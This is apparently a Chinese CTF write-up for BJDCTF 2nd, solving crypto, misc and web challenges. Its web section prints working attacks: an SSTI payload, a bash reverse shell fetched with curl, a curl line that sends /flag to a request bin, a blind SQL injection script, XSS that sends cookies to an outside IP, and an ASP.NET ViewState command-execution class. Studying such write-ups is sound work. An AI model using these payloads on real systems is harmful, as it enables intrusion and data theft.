BJDCTF 2nd解题记录

Crypto

0x 01 签到

base64解码,得到flag:BJD{W3lc0me_T0_BJDCTF}

0x 02 燕言燕语

十六进制ascii解码得到yanzi ZJQ{xilzv_iqssuhoc_suzjg},有秘钥和密文,使用维吉尼亚解密得到flag:BJD{yanzi_jiushige_shabi}

0x 03 Y1nglish

cryptogram,使用https://quipqiup.com/ 进行词频分析BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4ck}

0x 04 老文盲了

前三个读音谐音是bjd,加上括号得到flag:BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}

0x 05 cat_flag

转二进制0和1,然后转换成ascii码BJD{M!a0~}

0x 06 灵能精通

圣堂武士密码,flag{imknightstemplar}

0x 07 rsa0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python2
#coding:utf-8
import gmpy2
import binascii
a = 19625999955447888696390122377840961046753166968795603958063759044864679839536144670602538259831709040965956732805593396708352122584482022376941163677038630
b = -6176456758340029098089723810501754297130222103009042736616635563726055049689190205055246912914622570674537736155897459910194725001900500831842809740927188
p = (a+b)//2
q = a - p
n = p*q
e = 11599829
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
c=56321185753972151625933543608447787603473765973133149195380115478652285169342828192188623886133346029943442805825230692586385224853985274428971911119067878344128774137755834569527854261217660651515751605050298584366067378011417778663843804831679164271995792961169460893723530652355646614029892945792281751318

m = pow(c, d, n)
m_hex = hex(m)[2:]
print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))

0x 08 rsa1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python2
#coding:utf-8
import gmpy2
import binascii
pq2=132460282208391991552504764158634319936843554116715219469744299565888922214090496383771423130754188072840177198713136552967515380145051097065304848247872626812877510785478194570333764592747579974257129121686553068266545388629795106936696480440573976108980624756620858768409569815902492696692024566751096101450
p_q=-2358553385115093812029178776311290326692733442577350424602482420585435891550592627378204257296268157330536400908927134081281776410533122724646838983965214

twopq = pq2-p_q*p_q
print twopq
paddq = gmpy2.iroot(pq2+twopq, 2)[0]
p = (p_q + paddq)//2
q = paddq - p
n = p*q
e = 14210467
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
c=54150517220650140028230395502829113080080100957324148844875007477604158600988888413131474639870810651777850996192670627127105245333421193508379548496607689697581005727782733578377221590747840584310825695104670904142592120874252688132880343575146089908272336108371364352105123041459289967694652573340235143783
m = pow(c, d, n)
m_hex = hex(m)[2:]
print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))

MISC

0x 01 Real_EasyBaBa

使用十六进制打开,图形化flag:BJD{572154976}

0x 02 最简单的misc

zip伪加密:java -jar ZipCenOp.jar r secret.zip

添加png文件头,得到一张图片,图中的字母转16进制ascii得到flag

BJD{y1ngzuishuai}

0x 03 A_Beautiful_Picture

高度隐写,BJD{PnG_He1ghT_1s_WR0ng}

0x 04 圣火昭昭

提示新佛曰,使用http://hi.pcmoe.net/buddha.html解密,得到gemlovecom

根据题目提示猜测是outguess隐写,使用相应打的解密工具解密得到

BJD{wdnmd_misc_1s_so_Fuck1ng_e@sy}

0x 05 TARGZ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding: utf-8 -*-    
import os
key = ""
filename = ""
while True:
datanames = os.listdir("./")
for dataname in datanames:
if dataname.find(".tar.gz")!=-1:
key = dataname.replace(".tar.gz","")
filename = dataname
uncmd = "unzip -q -P " + key + " " + filename
os.system(uncmd)
rmcmd = "rm -f " + filename
os.system(rmcmd)

文件名是解压密码,写了一个python脚本一直解压就行了,最后flag是BJD{wow_you_can_rea11y_dance},赛后看了一下wp可以使用filetype库判断文件类型

0x 06 Imagin

听力题,参考https://aidn.jp/mikutap/,flag是`BJD{MIKUTAP3313313}`

0x 07 EasyBaBa

分离出视频,然后出现几张二维码,修复扫码或者使用QR_Research设置容错率扫码,解出 base16 字符串栅栏后得到BJD{imagin_love_Y1ng}

0x 08 小姐姐

winhex打开搜索BJD字符串,得到flag:BJD{haokanma_xjj}

WEB

0x 01 fake google

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

https://github.com/epinna/tplmap 使用tplmap一把梭

0x 02 old-hack

使用TP-SCan一把梭,发现是5.0.23的RCE

0x 03 duangShell

访问/.index.php.swp得到源码,用vim -r index.php恢复源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

exec()无回显,所以首选反弹shell。先在网站的根目录创建一个shell.txt,写入反弹shell语句:

1
bash -i >& /dev/tcp/[ip]/[port] 0>&1

然后在攻击机端执行

girl_friend=curl http://174.1.83.107/shell.txt|bash

发现/flag 是假的,然后利用 find 命令找到 flag,find / -name flag

之前晚上flag位置没变的时候可以直接带出

1
curl http://requestbin.xxx -X POST -d "`head /flag`"

0x 04 简单注入

访问robots.txt,得到hint.txt提示,访问得到后台SQL语句提示:

1
select * from users where username='$_POST["username"]' and password='$_POST["password"]';

根据语句分析可以通过斜杠转义来逃逸单引号,套用yoshino-s的脚本,exp写的非常整洁美观

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#! /usr/bin/python3
import requests

url='http://946de4c6-b1c6-4c0b-be3e-769a8f871538.node3.buuoj.cn/index.php'

def inj(payload):
req=requests.post(url,data={'password':payload, 'username':'s\\'})
if 'BJD needs to be stronger' in req.text:
return True
result=''

db = 'p3rh4ps'
password='OhyOuFOuNdit'

for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = " or ascii(substr(password, %d,1))>%d #" % (x, mid)
# payload = " or ascii(substr(username, %d,1))>%d #" % (x, mid)
print(payload)
res = inj(payload)
if res:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

result += chr(int(mid))
print(result)

得到用户名admin,密码OhyOuFOuNdit,登录得到flag

另外如果使用正则注入需要注意regexp匹配在3.23.4版本后是不分大小写的,要加上binary关键字

0x 05 假猪套天下第一

1.随便输入账号密码登录抓包发现有302跳转,提示了访问L0g1n.php,告知:

1
Sorry, this site will be available after totally 99 years!

cookie处发现一个叫time的cookie,存放的是当前的时间戳,把他改大改到99年以后即可。

剩下根据提示进行修改:

image-20200324002542942

0x 06 xss之光

git泄露,直接GitHack得到源码

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

参考这一篇文章:http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/

题目环境是php5,所以使用Exception反序列化

1
2
3
4
5
6
7
<?php
$test = new Exception('"<script>window.open(\'http://174.1.83.107:9999/?\'+document.cookie);</script>');
echo urlencode(serialize($test));

或者:
$a = new Exception("<script src=http://xss.buuoj.cn/z01e5x></script>");
echo urlencode(serialize($a));

在返回报文的cookie里面得到flag

0x 07 Schrödinger

脑洞题。。

0x 08 elementmaster

化学题。。

0x 09 文件探测

  1. 根据源代码提示查看header,提示访问home.php

  1. url参数这里怀疑存在文件包含,用伪协议读一下system.php的源码,如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}
<?php
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];

$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

echo $str1;

if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

用同样的方法根据robots.txt的提示读取home.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}

if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}

if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}

if(preg_match("/^home$/i", $_GET['file'])){
die("禁止套娃");
}

else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";

对system.php进行代码审计发现传入的url必须是http://127.0.0.1/开头,且不能包含flag关键字

1
2
3
4
5
6
7
8
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}

同时进行内网访问的时候url会被在后面拼接上一个y1ng.txt的后缀,访问的方法必须是GET或者POST开头,但是没有判断结尾,然后用格式化输出文件的内容,存在格式化漏洞。

第一处我们可以传入参数绕过,第二处我们可以传入GET%s%把%d转义掉,完整payload如下:

1
q1=s&q2=http://127.0.0.1/admin.php?a=1&q3=GET%s%

访问得到admin.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>

分析admin.php,发现需要验证加密的结果一致,才能得到flag。题目的加密无法破解,但是存在逻辑Bug,只要通过删除PHPSESSID将SESSION置空,就将$data置空了,这样AES加密的其他参数就都是已知的了,就可以自己算出密文了,加密脚本如下:

1
2
3
4
5
6
7
8
9
10
<?php
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5('174.0.222.75',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

$cipher = aesEn(null, 'y1ng');
echo $cipher;

将结果传给decrypt,然后删掉PHPSESSID,得到flag,注意结果中存在加号,需要url编码后传参,这边可以借鉴使用一位师傅的脚本发包

1
2
3
4
5
6
7
8
9
10
11
#! /usr/bin/python3
import requests

s = requests.session()

cipher = '70klfZeYC%2bWlC045CcKhtg==' # 刚刚生成的cipher

s.cookies.set('your_ip_address', '76d9f00467e5ee6abc3ca60892ef304e') # 你的IP的MD5
s.cookies.set('y1ng', '8880cbd71721332a25aa6df7b12eb7ac53539100')

print(s.post(f'http://7a66a822-c9b0-4def-9b00-a476088c425f.node3.buuoj.cn/admin.php?decrypt={cipher}',).text)

参考资料:

https://zhuanlan.zhihu.com/p/115462788

https://www.gem-love.com/ctf/2097.html#File_Detect

0x 10 EasyAspDotNet

  • 考点

    任意文件读取、ASP.NET VIEWSTATE 反序列化有回显 RCE、Windows 基本操作

  • 解题过程

  1. 打开页面有一个点击按钮,点击会生成一张图片,查看页面元素,怀疑有文件读取

  1. 根据url中的 .aspx 后缀,尝试读取 web.config 文件

  1. 根据这两篇文章所述

玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門

如何借助ViewState在ASP.NET中实现反序列化漏洞利用

构造一个带回显的 VIEWSTATE Payload,来让服务器反序列化然后 RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}

这里需要引入System.dll和System.Web.dll两个库,生成payload如下:

将payload进行url编码后用burp发送测试成功

获得flag:

补充:解码ViewState的网站